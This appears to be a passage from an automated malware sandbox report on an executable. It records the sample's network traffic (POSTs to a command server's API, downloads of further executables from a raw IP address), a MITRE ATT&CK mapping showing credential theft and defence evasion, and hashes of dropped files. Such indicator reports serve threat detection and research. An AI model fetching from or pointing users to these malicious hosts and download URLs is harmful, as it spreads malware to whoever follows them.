    815.2kB
     14.8kB
     592
    260

    HTTP Request

    POST https://tacitglibbr.biz/api

    HTTP Response

    200
  • 104.21.50.161:443
    https://tacitglibbr.biz/api
    tls, http
    37aafa95a96bdc9144593c820466f3f063cd0e9fb3c6d2bcfab4c1bf0b61e51b.exe
    2.4kB
     4.8kB
     10
    10

    HTTP Request

    POST https://tacitglibbr.biz/api

    HTTP Response

    200
  • 104.21.50.161:443
    https://tacitglibbr.biz/api
    tls, http
    37aafa95a96bdc9144593c820466f3f063cd0e9fb3c6d2bcfab4c1bf0b61e51b.exe
    431.5kB
     11.2kB
     318
    162

    HTTP Request

    POST https://tacitglibbr.biz/api

    HTTP Response

    200
  • 104.21.50.161:443
    https://tacitglibbr.biz/api
    tls, http
    37aafa95a96bdc9144593c820466f3f063cd0e9fb3c6d2bcfab4c1bf0b61e51b.exe
    1.1kB
     5.0kB
     9
    9

    HTTP Request

    POST https://tacitglibbr.biz/api

    HTTP Response

    200
  • 185.215.113.16:80
    http://185.215.113.16/steam/random.exe
    http
    37aafa95a96bdc9144593c820466f3f063cd0e9fb3c6d2bcfab4c1bf0b61e51b.exe
    91.9kB
     4.7MB
     1903
    3384

    HTTP Request

    GET http://185.215.113.16/off/def.exe

    HTTP Response

    200

    HTTP Request

    GET http://185.215.113.16/steam/random.exe

    HTTP Response

    200
  • 185.215.113.206:80
    http://185.215.113.206/c4becf79229cb002.php
    http
    SS89BMF02QO1Q18NHMAZ6NO.exe
    818 B
     625 B
     7
    5

    HTTP Request

    GET http://185.215.113.206/

    HTTP Response

    200

    HTTP Request

    POST http://185.215.113.206/c4becf79229cb002.php

    HTTP Response

    200
  • 8.8.8.8:53
    tacitglibbr.biz
    dns
    37aafa95a96bdc9144593c820466f3f063cd0e9fb3c6d2bcfab4c1bf0b61e51b.exe
    61 B
     93 B
     1
    1

    DNS Request

    tacitglibbr.biz

    DNS Response

    104.21.50.161
    172.67.164.37

  • 8.8.8.8:53
    28.118.140.52.in-addr.arpa
    dns
    216 B
     158 B
     3
    1

    DNS Request

    28.118.140.52.in-addr.arpa

    DNS Request

    28.118.140.52.in-addr.arpa

    DNS Request

    28.118.140.52.in-addr.arpa

  • 8.8.8.8:53
    161.50.21.104.in-addr.arpa
    dns
    144 B
     134 B
     2
    1

    DNS Request

    161.50.21.104.in-addr.arpa

    DNS Request

    161.50.21.104.in-addr.arpa

  • 8.8.8.8:53
    83.210.23.2.in-addr.arpa
    dns
    210 B
     133 B
     3
    1

    DNS Request

    83.210.23.2.in-addr.arpa

    DNS Request

    83.210.23.2.in-addr.arpa

    DNS Request

    83.210.23.2.in-addr.arpa

  • 8.8.8.8:53
    17.160.190.20.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    17.160.190.20.in-addr.arpa

  • 8.8.8.8:53
    95.221.229.192.in-addr.arpa
    dns
    73 B
     144 B
     1
    1

    DNS Request

    95.221.229.192.in-addr.arpa

  • 8.8.8.8:53
    16.113.215.185.in-addr.arpa
    dns
    73 B
     133 B
     1
    1

    DNS Request

    16.113.215.185.in-addr.arpa

  • 8.8.8.8:53
    209.205.72.20.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    209.205.72.20.in-addr.arpa

  • 8.8.8.8:53
    206.113.215.185.in-addr.arpa
    dns
    74 B
     134 B
     1
    1

    DNS Request

    206.113.215.185.in-addr.arpa

  • 8.8.8.8:53
    13.86.106.20.in-addr.arpa
    dns
    71 B
     157 B
     1
    1

    DNS Request

    13.86.106.20.in-addr.arpa

  • 8.8.8.8:53
    50.23.12.20.in-addr.arpa
    dns
    70 B
     156 B
     1
    1

    DNS Request

    50.23.12.20.in-addr.arpa

  • 8.8.8.8:53
    15.164.165.52.in-addr.arpa
    dns
    72 B
     146 B
     1
    1

    DNS Request

    15.164.165.52.in-addr.arpa

  • 8.8.8.8:53
    107.12.20.2.in-addr.arpa
    dns
    70 B
     133 B
     1
    1

    DNS Request

    107.12.20.2.in-addr.arpa

  • 8.8.8.8:53
    180.129.81.91.in-addr.arpa
    dns
    72 B
     147 B
     1
    1

    DNS Request

    180.129.81.91.in-addr.arpa

  • 8.8.8.8:53
    43.229.111.52.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    43.229.111.52.in-addr.arpa

  • 8.8.8.8:53

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

1
T1543

Windows Service

1
T1543.003

Privilege Escalation

Create or Modify System Process

1
T1543

Windows Service

1
T1543.003

Defense Evasion

Impair Defenses

2
T1562

Disable or Modify Tools

2
T1562.001

Modify Registry

2
T1112

Virtualization/Sandbox Evasion

2
T1497

Credential Access

Credentials from Password Stores

1
T1555

Credentials from Web Browsers

1
T1555.003

Unsecured Credentials

3
T1552

Credentials In Files

3
T1552.001

Discovery

Browser Information Discovery

1
T1217

Query Registry

4
T1012

System Information Discovery

1
T1082

System Location Discovery

1
T1614

System Language Discovery

1
T1614.001

Virtualization/Sandbox Evasion

2
T1497

Lateral Movement

Collection

Data from Local System

3
T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\SS89BMF02QO1Q18NHMAZ6NO.exe
    Filesize

    2.7MB

    MD5

    1eb268dfe52d4541037838207c51d19f

    SHA1

    35264d064730fa9d7d4b53183a5fb9e97912a8a7

    SHA256

    bfa216d2edc6a8b5230cf4d89231f3ee36decad422a7b8b8565fa232dc3bf89b

    SHA512

    ed2e878a5cf58e0ec74d3bf8b20a35531cc7dea31a590737f40a6fef1aea8f7903d592fb25a870482110f10d225051e8724bcb57a9d3aca388c8bde5f0fa6146

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\VCZ8688OCVGO7B2WAB63HZC.exe
    Filesize

    1.6MB

    MD5

    a78f80e6511f7c2763128897866f9c9d

    SHA1

    dfce44230a08bf7bc983dbca64d0630cbc6ff9ca

    SHA256

    6066b498bce43d72cdc0a3a3850001653a74fb3c5d5b92377e9f2798e6e15257

    SHA512

    bbcfc834836306282d85831d5192ba09f8db55d94e2b7f167971b0530d156626b1c6f7c90c1a4dc2863870ed9064a18987b22f6b23f737f6575e5a1f7a34e7e6

    Download Submit

  • memory/1388-13-0x00000000005F0000-0x0000000000A36000-memory.dmp

    Filesize

    4.3MB

    Download

  • memory/1388-28-0x00000000005F0000-0x0000000000A36000-memory.dmp

    Filesize

    4.3MB

    Download

  • memory/1388-24-0x00000000005F0000-0x0000000000A36000-memory.dmp

    Filesize

    4.3MB

    Download

  • memory/1388-14-0x00000000005F0000-0x0000000000A36000-memory.dmp

    Filesize

    4.3MB

    Download

  • memory/1388-12-0x00000000005F0000-0x0000000000A36000-memory.dmp

    Filesize

    4.3MB

    Download

  • memory/1428-23-0x00000000002A0000-0x0000000000793000-memory.dmp

    Filesize

    4.9MB

    Download

  • memory/1428-20-0x00000000002A0000-0x0000000000793000-memory.dmp

    Filesize

    4.9MB

    Download

  • memory/3592-4-0x0000000000C50000-0x00000000010F3000-memory.dmp

    Filesize

    4.6MB

    Download

  • memory/3592-11-0x0000000000C50000-0x00000000010F3000-memory.dmp

    Filesize

    4.6MB

    Download

  • memory/3592-6-0x0000000000C50000-0x00000000010F3000-memory.dmp

    Filesize

    4.6MB

    Download

  • memory/3592-15-0x0000000000C50000-0x00000000010F3000-memory.dmp

    Filesize

    4.6MB

    Download

  • memory/3592-5-0x0000000000C50000-0x00000000010F3000-memory.dmp

    Filesize

    4.6MB

    Download

  • memory/3592-22-0x0000000000C50000-0x00000000010F3000-memory.dmp

    Filesize

    4.6MB

    Download

  • memory/3592-0-0x0000000000C50000-0x00000000010F3000-memory.dmp

    Filesize

    4.6MB

    Download

  • memory/3592-3-0x0000000000C50000-0x00000000010F3000-memory.dmp

    Filesize

    4.6MB

    Download

  • memory/3592-2-0x0000000000C51000-0x0000000000C76000-memory.dmp

    Filesize

    148KB

    Download

  • memory/3592-1-0x0000000077704000-0x0000000077706000-memory.dmp

    Filesize

    8KB

    Download

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.